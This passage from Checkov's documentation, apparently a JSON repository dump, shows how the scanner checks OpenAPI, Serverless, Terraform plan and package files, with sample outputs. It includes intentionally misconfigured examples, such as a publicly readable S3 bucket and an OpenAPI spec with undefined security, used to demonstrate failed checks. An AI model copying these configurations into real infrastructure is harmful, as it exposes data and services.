/Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-4/kustomization.yaml:\n\nCheck: CKV_K8S_43: \"Image should use digest\"\n        FAILED for resource: overlay:overlays/prod-3:Deployment.default.sl-demo-app\n        File: /Users/matt/bcd/kustomize/checkov/testdir/example-monorepo-structure/k8s/overlays/prod-3/kustomization.yaml:\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/OpenAPI.md",
    "content": "---\nlayout: default\npublished: true\ntitle: OpenAPI configuration scanning\nnav_order: 20\n---\n\n# OpenAPI configuration scanning\nCheckov supports the evaluation of policies on your OpenAPI files.\nWhen using checkov to scan a directory that contains OpenAPI manifests it will validate if the file is compliant with OpenAPI best practices such as securityDefinitions and security requirement are well-defined, and more.  \n\nFull list of OpenAPI policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/openapi.html).\n\n### Example misconfigured OpenAPI\n\n```yaml\n{\n  \"swagger\": \"2.0\",\n  \"info\": {\n    \"title\": \"example\",\n    \"version\": \"1.0.0\"\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"operationId\": \"example\",\n        \"summary\": \"example\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"200 response\"\n          }\n        },\n        \"parameters\": [\n          {\n            \"name\": \"limit2\",\n            \"in\": \"body\",\n            \"required\": true,\n            \"schema\": {\n              \"type\": \"object\"\n            }\n          }\n        ],\n        \"security\": [\n          {\n            \"api_key\": []\n          }\n        ]\n      }\n    }\n  },\n  \"securityDefinitions\": {\n    \"petstore_auth\": {\n      \"type\": \"oauth2\",\n      \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n      \"flow\": \"implicit\",\n      \"scopes\": {\n        \"write:pets\": \"write\",\n        \"read:pets\": \"read\"\n      }\n    }\n  }\n}\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework openapi\n```\n\n### Example output\n```bash\n \n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\n\nopenapi scan results:\n\nPassed checks: 4, Failed checks: 2, Skipped checks: 0\n\nCheck: CKV_OPENAPI_2: \"Ensure that if the security scheme is not of type 'oauth2', the array value must be empty\"\n\tPASSED for resource: security\n\tFile: /openapi.yaml:2-47\nCheck: CKV_OPENAPI_5: \"Ensure that security operations is not empty.\"\n\tPASSED for resource: security\n\tFile: /openapi.yaml:2-47\nCheck: CKV_OPENAPI_1: \"Ensure that securityDefinitions is defined and not empty.\"\n\tPASSED for resource: securityDefinitions\n\tFile: /../aya/openapi.yaml:36-46\nCheck: CKV_OPENAPI_3: \"Ensure that security schemes don't allow cleartext credentials over unencrypted channel\"\n\tPASSED for resource: components\n\tFile: /openapi.yaml:2-47\nCheck: CKV_OPENAPI_6: \"Ensure that security requirement defined in securityDefinitions.\"\n\tFAILED for resource: security\n\tFile: /openapi.yaml:27-31\n\n\t\t27 |         \"security\": [\n\t\t28 |           {\n\t\t29 |             \"api_key\": []\n\t\t30 |           }\n\t\t31 |         ]\n\t\t\nCheck: CKV_OPENAPI_4: \"Ensure that the global security field has rules defined\"\n\tFAILED for resource: security\n\tFile: /openapi.yaml:1-47\n\n\t\t1  | {\n\t\t2  |   \"swagger\": \"2.0\",\n\t\t3  |   \"info\": {\n\t\t4  |     \"title\": \"example\",\n\t\t5  |     \"version\": \"1.0.0\"\n\t\t6  |   },\n\t\t7  |   \"paths\": {\n\t\t8  |     \"/\": {\n\t\t9  |       \"get\": {\n\t\t10 |         \"operationId\": \"example\",\n\t\t11 |         \"summary\": \"example\",\n\t\t12 |         \"responses\": {\n\t\t13 |           \"200\": {\n\t\t14 |             \"description\": \"200 response\"\n\t\t15 |           }\n\t\t16 |         },\n\t\t17 |         \"parameters\": [\n\t\t18 |           {\n\t\t19 |             \"name\": \"limit2\",\n\t\t20 |             \"in\": \"body\",\n\t\t21 |             \"required\": true,\n\t\t22 |             \"schema\": {\n\t\t23 |               \"type\": \"object\"\n\t\t24 |             }\n\t\t25 |           }\n\t\t26 |         ],\n\t\t27 |         \"security\": [\n\t\t28 |           {\n\t\t29 |             \"api_key\": []\n\t\t30 |           }\n\t\t31 |         ]\n\t\t32 |       }\n\t\t33 |     }\n\t\t34 |   },\n\t\t35 |   \"securityDefinitions\": {\n\t\t36 |     \"petstore_auth\": {\n\t\t37 |       \"type\": \"oauth2\",\n\t\t38 |       \"authorizationUrl\": \"http://swagger.io/api/oauth/dialog\",\n\t\t39 |       \"flow\": \"implicit\",\n\t\t40 |       \"scopes\": {\n\t\t41 |         \"write:pets\": \"write\",\n\t\t42 |         \"read:pets\": \"read\"\n\t\t43 |       }\n\t\t44 |     }\n\t\t45 |   }\n\t\t46 | }\n\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Sca.md",
    "content": "---\nlayout: default\npublished: true\ntitle: SCA scanning\nnav_order: 20\n---\n\n# SCA scanning\nCheckov is an SCA (Software Composition Analysis) tool. This means it scans package files and container images for Common Vulnerabilities and Exposures (CVEs).\n\nYou can find the full list of the supported package manager types [here](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/software-composition-analysis/supported-package-managers).\n\nIn order to use this feature, you first need to create an [API token using Prisma Cloud](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/ci-cd-runs/add-checkov), and make sure you have an internet connection.\n\n## Package scanning\n```bash\ncheckov -d . --framework sca_package --bc-api-key <access key>::<secret key> --prisma-api-url <prisma api url> --repo-id <repo/name>\n```\n\n### Example output\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\n\nsca_package scan results:\n\nFound CVEs: 35, Skipped CVEs: 0\n\n\t/package-lock.json\n\t┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐\n\t│ Total CVEs: 35     │ critical: 3        │ high: 19           │ medium: 10         │ low: 3             │ skipped: 0         │\n\t├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤\n\t│ To fix 34/35 CVEs, go to Prisma Cloud                                                                                       │\n\t├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤\n\t│ Package            │ CVE ID             │ Severity           │ Current version    │ Fixed version      │ Compliant version  │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ trim-newlines      │ CVE-2021-33623     │ high               │ 1.0.0              │ 3.0.1              │ 3.0.1              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ bson               │ CVE-2020-7610      │ high               │ 1.0.9              │ 1.1.4              │ 1.1.4              │\n\t│                    │ CVE-2019-2391      │ medium             │                    │ 1.1.4              │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ ramda              │ PRISMA-2021-0154   │ medium             │ 0.24.1             │ N/A                │ None               │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ growl              │ CVE-2017-16042     │ critical           │ 1.9.2              │ 1.10.0             │ 1.10.0             │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ npm                │ CVE-2019-16775     │ high               │ 3.10.10            │ 6.13.3             │ 6.14.6             │\n\t│                    │ CVE-2019-16777     │ low                │                    │ 6.13.4             │                    │\n\t│                    │ CVE-2019-16776     │ low                │                    │ 6.13.3             │                    │\n\t│                    │ CVE-2020-15095     │ low                │                    │ 6.14.6             │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ adm-zip            │ PRISMA-2021-0034   │ high               │ 0.4.4              │ 0.5.3              │ 0.5.3              │\n\t│                    │ CVE-2018-1002204   │ high               │                    │ 0.4.11             │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ mongodb            │ GHSA-              │ high               │ 2.2.36             │ 3.1.13             │ 3.1.13             │\n\t│                    │ MH5C-679W-HH4R     │                    │                    │                    │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ minimist           │ CVE-2021-44906     │ critical           │ 0.0.10             │ 1.2.6              │ 1.2.6              │\n\t│                    │ CVE-2020-7598      │ medium             │                    │ 0.2.1              │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ hawk               │ CVE-2022-29167     │ high               │ 3.1.3              │ 9.0.1              │ 9.0.1              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ uglify-js          │ CVE-2015-8858      │ high               │ 2.4.24             │ 2.6.0              │ 3.14.3             │\n\t│                    │ PRISMA-2021-0169   │ medium             │                    │ 3.14.3             │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ tap-mocha-reporter │ PRISMA-2022-0098   │ high               │ 2.0.1              │ 5.0.2              │ 5.0.2              │\n\t│                    │ PRISMA-2022-0097   │ medium             │                    │ 5.0.2              │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ shelljs            │ CVE-2022-0144      │ high               │ 0.3.0              │ 0.8.5              │ 0.8.5              │\n\t│                    │ GHSA-64G7-MVW6-V9Q │ medium             │                    │ 0.8.5              │                    │\n\t│                    │ J                  │                    │                    │                    │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ cypress            │ PRISMA-2021-0070   │ medium             │ 3.8.3              │ 7.2.0              │ 7.2.0              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ helmet-csp         │ GHSA-C3M8-X3CG-    │ medium             │ 1.2.2              │ 2.9.1              │ 2.9.1              │\n\t│                    │ QM2C               │                    │                    │                    │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ marked             │ CVE-2022-21680     │ high               │ 0.3.9              │ 4.0.10             │ 4.0.10             │\n\t│                    │ CVE-2022-21681     │ high               │                    │ 4.0.10             │                    │\n\t│                    │ PRISMA-2021-0013   │ medium             │                    │ 1.1.1              │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ cryptiles          │ CVE-2018-1000620   │ critical           │ 2.0.5              │ 4.1.2              │ 4.1.2              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ glob-parent        │ CVE-2020-28469     │ high               │ 3.1.0              │ 5.1.2              │ 5.1.2              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ bl                 │ CVE-2020-8244      │ high               │ 1.0.3              │ 1.2.3              │ 1.2.3              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ diff               │ GHSA-H6CH-V84P-W6P │ high               │ 1.4.0              │ 3.5.0              │ 3.5.0              │\n\t│                    │ 9                  │                    │                    │                    │                    │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ unset-value        │ PRISMA-2022-0049   │ high               │ 1.0.0              │ 2.0.1              │ 2.0.1              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ grunt              │ CVE-2022-1537      │ high               │ 1.5.2              │ 1.5.3              │ 1.5.3              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ nconf              │ CVE-2022-21803     │ high               │ 0.10.0             │ 0.11.4             │ 0.11.4             │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ hoek               │ CVE-2018-3728      │ medium             │ 2.16.3             │ 4.2.1              │ 4.2.1              │\n\t├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤\n\t│ moment             │ CVE-2022-24785     │ high               │ 2.24.0             │ 2.29.2             │ 2.29.2             │\n\t└────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┘\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Serverless Framework.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Serverless framework configuration scanning\nnav_order: 20\n---\n\n# Serverless framework configuration scanning\nCheckov supports the evaluation of policies on your Serverless framework files.\nWhen using checkov to scan a directory that contains a Serverless framework template it will validate if the file is compliant with AWS best practices such as having logging and auditing enabled, making sure S3 buckets are encrypted, HTTPS is being used, and more.  \n\nFull list of Serverless framework policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/serverless.html).\nThe serverless scanning is utilizing checks that are part of the Cloudformation scanning implementation of checkov since Serverless resource definition extends the Cloudformation definition.  \n\n### Example misconfigured Serverless framework\n\n```yaml\nservice: usersCrud\nprovider: aws\n\nfunctions:\n  myFunc:\n    name: myFunc\n    tags:\n      RESOURCE: lambda\n      PUBLIC: false\n    iamRoleStatements:\n      - Effect: Allow\n        Action:\n          - \"lambda:InvokeFunction\"\n        Resource:\n          - \"arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda\"\n    handler: Handler.handle\n    timeout: 600\n    memorySize: 320\n\nresources: # CloudFormation template syntax\n  Resources:\n    S3BucketPublicRead:\n      Type: AWS::S3::Bucket\n      Properties:\n        AccessControl: PublicRead\n        BucketEncryption:\n          ServerSideEncryptionConfiguration:\n            - ServerSideEncryptionByDefault:\n                SSEAlgorithm: AES256\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework serverless\n```\n\n### Example output\n\n```bash\n\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\n\nserverless scan results:\n\nPassed checks: 5, Failed checks: 7, Skipped checks: 0\n\nCheck: CKV_AWS_19: \"Ensure the S3 bucket has server-side-encryption enabled\"\n   PASSED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-14-data-encrypted-at-rest\n\nCheck: CKV_AWS_57: \"Ensure the S3 bucket does not allow WRITE permissions to everyone\"\n   PASSED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-2-acl-write-permissions-everyone\n\nCheck: CKV_AWS_49: \"Ensure no IAM policies documents allow \"*\" as a statement's actions\"\n   PASSED for resource: myFunc\n   File:/serverless.yml:5-19\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_iam_43\n\nCheck: CKV_AWS_41: \"Ensure no hard coded AWS access key and secret key exists in provider\"\n   PASSED for resource: myFunc\n   File:/serverless.yml:5-19\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_secrets_5\n\nCheck: CKV_AWS_1: \"Ensure IAM policies that allow full \"*-*\" administrative privileges are not created\"\n   PASSED for resource: myFunc\n   File:/serverless.yml:5-19\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/iam_23\n\nCheck: CKV_AWS_20: \"Ensure the S3 bucket does not allow READ permissions to everyone\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_1-acl-read-permissions-everyone\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_18: \"Ensure the S3 bucket has access logging enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_13-enable-logging\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_53: \"Ensure S3 bucket has block public ACLS enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_19\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_54: \"Ensure S3 bucket has block public policy enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_20\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_21: \"Ensure the S3 bucket has versioning enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3_16-enable-versioning\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_55: \"Ensure S3 bucket has ignore public ACLs enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_21\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\nCheck: CKV_AWS_56: \"Ensure S3 bucket has 'restrict_public_bucket' enabled\"\n   FAILED for resource: AWS::S3::Bucket.S3BucketPublicRead\n   File:/serverless.yml:22-29\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/bc_aws_s3_22\n\n      22 |     S3BucketPublicRead:\n      23 |       Type: AWS::S3::Bucket\n      24 |       Properties:\n      25 |         AccessControl: PublicRead\n      26 |         BucketEncryption:\n      27 |           ServerSideEncryptionConfiguration:\n      28 |             - ServerSideEncryptionByDefault:\n      29 |                 SSEAlgorithm: AES256\n\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Terraform Plan Scanning.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Terraform Plan Scanning\nnav_order: 8\n---\n\n# Terraform Plan Scanning\n\n## Evaluate Checkov Policies on Terraform Plan\nCheckov supports the evaluation of policies on resources declared in `.tf` files. It can also be used to evaluate `terraform plan` expressed in a json file. Plan evaluation provides Checkov additional dependencies and context that can result in a more complete scan result. Since Terraform plan files may contain arguments (like secrets) that are injected dynamically, it is advised to run a plan evaluation using Checkov in a secure CI/CD pipeline setting.\n\n### Example\n\nThe example below creates a Terraform Plan JSON file and scans it using Checkov. It uses `jq` which must be installed beforehand and leads to better formatted outputs and results. It is not explicitly required for plan scanning.\n\n```json\nterraform init\nterraform plan --out tfplan.binary\nterraform show -json tfplan.binary | jq > tfplan.json\n\ncheckov -f tfplan.json\n```\n\n\nThe output would look like:\n```\ncheckov -f tf.json\nCheck: CKV_AWS_21: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tFAILED for resource: aws_s3_bucket.customer\n\tFile: /tf/tf1.json:224-268\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\n\n\t\t225 |               \"values\": {\n\t\t226 |                 \"acceleration_status\": \"\",\n\t\t227 |                 \"acl\": \"private\",\n\t\t228 |                 \"arn\": \"arn:aws:s3:::mybucket\",\n```\n\n### Ignored checks\n\nSince the Terraform checks are used for both normal templates and plan files, some of those are not applicable for a plan file.\nThey evaluate the `lifecycle` block, which is only relevant for the CLI and are not stored in the plan file itself.\n\nFollowing checks will be ignored;\n- CKV_AWS_217 \n- CKV_AWS_233\n- CKV_AWS_237 \n- CKV_GCP_82\n\n### Deleted resources\n\nTo check if a resource will be deleted or changed (further change values can be found [here](https://www.terraform.io/internals/json-format#change-representation)) the change actions values can be accessed via the attribute name `__change_actions__`.\n\nEx. Python\n```python\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        actions = conf.get(\"__change_actions__\")\n        if isinstance(actions, list) and \"delete\" in actions:\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n```\n\nEx. YAML\n```yaml\n  cond_type: attribute\n  resource_types:\n    - aws_secretsmanager_secret\n  attribute: __change_actions__\n  operator: not_contains\n  value: delete\n```\n\n### Changed resource fields\n\nTo write a check conditional on whether or not a specific field has changed, one can access the changed fields via the attribute `TF_PLAN_RESOURCE_CHANGE_KEYS` (a list of changed keys).\n\nEx Python\n```python\nfrom checkov.terraform.plan_parser import TF_PLAN_RESOURCE_CHANGE_ACTIONS, TF_PLAN_RESOURCE_CHANGE_KEYS\n\ndef scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        actions = conf.get(TF_PLAN_RESOURCE_CHANGE_ACTIONS)\n        if isinstance(actions, list) and \"update\" in actions:\n            if \"protocol\" in conf.get(TF_PLAN_RESOURCE_CHANGE_KEYS):\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n```\n\n## Combining Plan and Terraform scans\nPlan file scans can be enriched with the Terraform files to improve outputs, add skip comments and expand coverage. Note that these will increase scan times.\n\n### Enrichment\nUsing the `--repo-root-for-plan-enrichment` flag, code blocks, and resource IDs in the output will be from the Terraform files and skip comments in the Terraform files will be respected in the Plan file scan.\n\nExample:\n```\ncheckov -f tfplan.json --repo-root-for-plan-enrichment /pathToTF/\n```\n\n### Deep Analysis\nUsing the `--deep-analysis` flag in combination with the `--repo-root-for-plan-enrichment` flag will combine the graph of the Plan file scan and the Terraform files scans. This allows Checkov to make graph connections where there is incomplete information in the Plan file. For example, locals do not have the connections defined in the plan file but can make that connection with the Deep Analysis.\n\nExample:\n```\ncheckov -f tfplan.json --repo-root-for-plan-enrichment /pathToTF/ --deep-analysis\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Terraform.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Terraform Scanning\nnav_order: 8\n---\n\n# Terraform Scanning\n\n## Scanning Third-Party Terraform Modules\n\nThird-party Terraform modules often reduce complexity for deploying services made up of many objects.\n\nFor example, the official AWS EKS module reduces the amount of configuration required to just few lines below.\nHowever, in doing so abstracts the Terraform configuration away from a regular Checkov scan on the current directory.\n\n```hcl\nmodule \"eks\" {\n  source          = \"terraform-aws-modules/eks/aws\"\n  cluster_name    = \"my-cluster\"\n  cluster_version = \"1.24\"\n  subnets         = [\"subnet-abcde012\", \"subnet-bcde012a\", \"subnet-fghi345a\"]\n  vpc_id          = \"vpc-1234556abcdef\"\n\n  worker_groups = [\n    {\n      instance_type = \"m4.large\"\n      asg_max_size  = 5\n    }\n  ]\n}\n```\n\nTo ensure coverage of objects within these modules, you can instruct Checkov to download those external modules:\n\n```shell\ncheckov -d . --download-external-modules true\n```\n\nThis will allow Checkov to download any external modules referenced in the Terraform configuration files into a folder named `.external_modules`.\nTo adjust the download path you can leverage the flag `--external-modules-download-path`:\n\n```shell\ncheckov -d . --download-external-modules true --external-modules-download-path example/path\n```\n\n> [!NOTE]\n> **Experimental**\n> By setting the env var `CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES=True` instead of downloading external modules `checkov` will use the ones already downloaded by Terraform stored in `.terraform` folder. This only works for scans of the root folder, where also `terraform init` was executed.\n> ```shell\n> CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES=True checkov -d .\n> ```\n\n### Scanning Private Terraform Modules\n\nIf you have modules stored in a private repository or a private Terraform registry (hosted on Terraform Cloud, Terraform Enterprise or a third-party provider like GitLab), you can grant Checkov access by providing access tokens as environment variables. This will enable Checkov to attempt to clone and scan those modules.\n\n| Variable Name          | Description                                                                                      |\n| ---------------------- | ------------------------------------------------------------------------------------------------ |\n| GITHUB_PAT             | Github personal access token with read access to the private repository                          |\n| BITBUCKET_TOKEN        | Bitbucket personal access token with read access to the private repository                       |\n| TF_HOST_NAME           | (defaults to app.terraform.io) Terraform registry host name. Example: gitlab.com / example.com   |\n| TFC_TOKEN\\*            | (deprecated, use TF_REGISTRY_TOKEN) Terraform Cloud token which can access the private registry  |\n| TF_REGISTRY_TOKEN      | Private registry access token (supports Terraform Cloud / Enterprise and third-party registries) |\n| BITBUCKET_USERNAME     | Bitbucket username (can only be used with a BITBUCKET_APP_PASSWORD)                              |\n| BITBUCKET_APP_PASSWORD | Bitbucket app password (can only be used with a BITBUCKET_USERNAME)                              |\n\nFor self-hosted VCS repositories, use the following environment variables:\n\n| Variable Name | Description                                          |\n| ------------- | ---------------------------------------------------- |\n| VCS_BASE_URL  | Base URL of the self-hosted VCS: https://example.com |\n| VCS_USERNAME  | Username for basic authentication                    |\n| VCS_TOKEN     | Password for basic authentication                    |\n\n#### Examples\n\n- Terraform Cloud registry private module scan\n\n```shell\n# TF_HOST_NAME will default to app.terraform.io\nexport TF_REGISTRY_TOKEN=xxxxxx\ncheckov -d . --download-external-modules true\n```\n\n- Terraform Enterprise registry private module scan\n\n```shell\nexport TF_HOST_NAME=tfe.example.com\nexport TF_REGISTRY_TOKEN=xxxxxx\ncheckov -d . --download-external-modules true\n```\n\n- Gitlab registry public module scan\n\n```shell\nexport TF_HOST_NAME=gitlab.com\ncheckov -d . --download-external-modules true\n```\n\n- Gitlab self-hosted registry private module scan\n\n```shell\n# A job token or a personal access token with the read_api scope is required\nexport TF_HOST_NAME=gitlab.example.com\nexport TF_REGISTRY_TOKEN=xxxxxx\ncheckov -d . --download-external-modules true\n```\n"
  },
  {
    "path": "docs/8.Outputs/CSV.md",
    "content": "---\nlayout: default\npublished: true\ntitle: CSV\nnav_order: 20\n---\n\n# CSV\n\nA CSV output would generate 3 output files:\n- iac.csv\n- container_images.csv\n- oss_packages.csv\n\n## Structure\n###iac.csv\n| Resource                 | Path                      | Git Org       | Git Repository  | Misconfigurations  | Severity  |\n|:-------------------------|:--------------------------|:--------------|:----------------|:-------------------|:----------|\n| aws_db_instance.default  | /terraform/aws/db-app.tf  | prisma        | terragoat       | CKV_AWS_161        | MEDIUM    |\n\n###oss_packages.csv\n| Package  | Version  | Path                                            | Git Org       | Git Repository  | Vulnerability   | Severity  | Licenses  |\n|:---------|:---------|:------------------------------------------------|:--------------|:----------------|:----------------|:----------|:----------|\n| xmldom   | 0.5.0    | /packages/node/twistcli-test/package-lock.json  | prisma        | terragoat       | CVE-2021-32796  | MEDIUM    |\n\n###container_images.csv\n| Package  | Version  | Path                             | Git Org       | Git Repository  | Vulnerability   | Severity  | Licenses  |\n|:---------|:---------|:---------------------------------|:--------------|:----------------|:----------------|:----------|:----------|\n| xmldom   | 0.5.0    | /Dockerfile  (sha256:6a353e22ce) | prisma        | terragoat       | CVE-2021-32796  | MEDIUM    |"
  },
  {
    "path": "docs/8.Outputs/CycloneDX BOM.md",
